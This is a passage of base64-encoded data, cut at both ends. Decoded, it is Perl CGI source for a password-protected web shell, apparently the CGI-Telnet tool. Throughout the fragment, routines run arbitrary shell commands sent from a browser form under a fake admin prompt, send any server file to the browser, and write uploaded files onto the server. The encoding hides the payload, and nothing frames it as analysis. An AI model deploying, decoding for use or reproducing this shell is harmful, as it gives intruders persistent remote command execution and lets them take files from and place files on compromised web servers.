0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkcGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGZvbnQgY29sb3I9IiMwMEZGMDAiPiRQcm9tcHQ8L2ZvbnQ+IA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiIHNpemU9IjI1Ij4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQogICAgICAgICAgIA0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPg0KVXBsb2FkOiAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcHJpbnQgPDxFTkQ7DQo8L3htcD4NCjxjb2RlPg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLg0KPGJyPktpbGxlZCBpdCENCjxjb2RlPg0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQ0KIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQ0KIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluDQojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUNCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMNCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkNCgkJJE9sZERpciA9ICRDdXJyZW50RGlyOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJcHJpbnQgIjxkaXYgc3R5bGU9J2Zsb2F0OiBjZW50ZXI7IHRleHQtYWxpZ246IGxlZnQ7Jz4iOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7DQoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJcHJpbnQgIjxkaXYgc3R5bGU9J2Zsb2F0OiBjZW50ZXI7IHRleHQtYWxpZ246IGxlZnQ7Jz4iOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcCBzdHlsZT0nY29sb3I6ICMwMEZGMDA7Jz4iOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJCX0NCgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCQl7DQoJCQkkfD0xOw0KCQkJJENvbW1hbmQgLj0gIiB8IjsNCgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQkJew0KCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJCXByaW50ICIkX1xuIjsNCgkJCX0NCgkJCSR8PTA7DQoJCX0NCgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJCXsNCgkJCXByaW50IGAkQ29tbWFuZGA7DQoJCX0NCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJYWxhcm0oMCk7DQoJCX0NCgkJcHJpbnQgIjwveG1wPiI7DQoJfQ0KCXByaW50ICI8L2Rpdj4iOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4uDQo8L2NvZGU+DQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCE8L2NvZGU+IjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkITwvY29kZT4iOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQkmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCXByaW50ICI8Y29kZT5VcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCXByaW50ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJcHJpbnQgIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJcHJpbnQgIjwvY29kZT4iOw0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYo